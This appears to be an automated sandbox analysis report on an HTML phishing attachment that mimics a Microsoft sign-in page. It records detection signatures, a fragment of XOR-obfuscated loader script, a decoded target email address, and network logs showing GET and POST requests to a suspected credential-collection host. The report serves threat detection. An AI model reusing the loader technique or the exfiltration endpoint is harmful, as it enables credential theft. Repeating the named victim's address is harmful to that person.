Create Interactive Tour

Windows Analysis Report
#U25baPlay_VM-Now(Lhershey)ATTT0003.html

Overview

General Information

Sample name:	#U25baPlay_VM-Now(Lhershey)ATTT0003.html renamed because original name is a hash value
Original sample name:	Play_VM-Now(Lhershey)ATTT0003.html
Analysis ID:	1650484
MD5:	6e36b7d302346fb6fda62e8d5314ed32
SHA1:	38344429ddbbf4e9796170632078510c69ad82e2
SHA256:	ec5cb2d1b4190dcc5e5f303a7ce8ecbc52eb46472f518c7f546a48baee564b4c
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,1950381011547076389,9899964113874095902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2336 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#U25baPlay_VM-Now(Lhershey)ATTT0003.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.1.pages.csv
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now... This script demonstrates high-risk behaviors, including dynamic code execution and potential data exfiltration. The use of XOR encryption to obfuscate the script content is a strong indicator of malicious intent. Additionally, the script appears to be executing a decrypted payload, which further increases the risk. Overall, this script exhibits multiple high-risk indicators and should be considered a significant security threat.

Detected javascript redirector / loader

Source: #U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: #U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: <script>const key = "secret";const xorEncryptDecrypt = (input, key) => { let output = ""; const charCodes = input.split(",").map(Number); for (let i = 0; i < charCodes.length; i++) { output += String.fromCharCode(charCod...

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: #U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: Base64 decoded: lhershey@foundationfar.org

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.193:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 43.152.64.193 43.152.64.193
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.17.202.1 104.17.202.1

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 1419993777-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1419993777-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: ableg.venue.it.com
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com

Source: unknown

HTTP traffic detected: POST /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveContent-Length: 13sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_70.4.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_63.4.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_69.4.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_69.4.dr, chromecache_63.4.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_69.4.dr, chromecache_63.4.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.193:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49752 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: #U25baPlay_VM-Now(Lhershey)ATTT0003.html

Initial sample: play

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3476_1328727350

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3476_1328727350

Jump to behavior

Source: classification engine

Classification label: mal80.phis.winHTML@22/24@122/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,1950381011547076389,9899964113874095902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2336 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#U25baPlay_VM-Now(Lhershey)ATTT0003.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
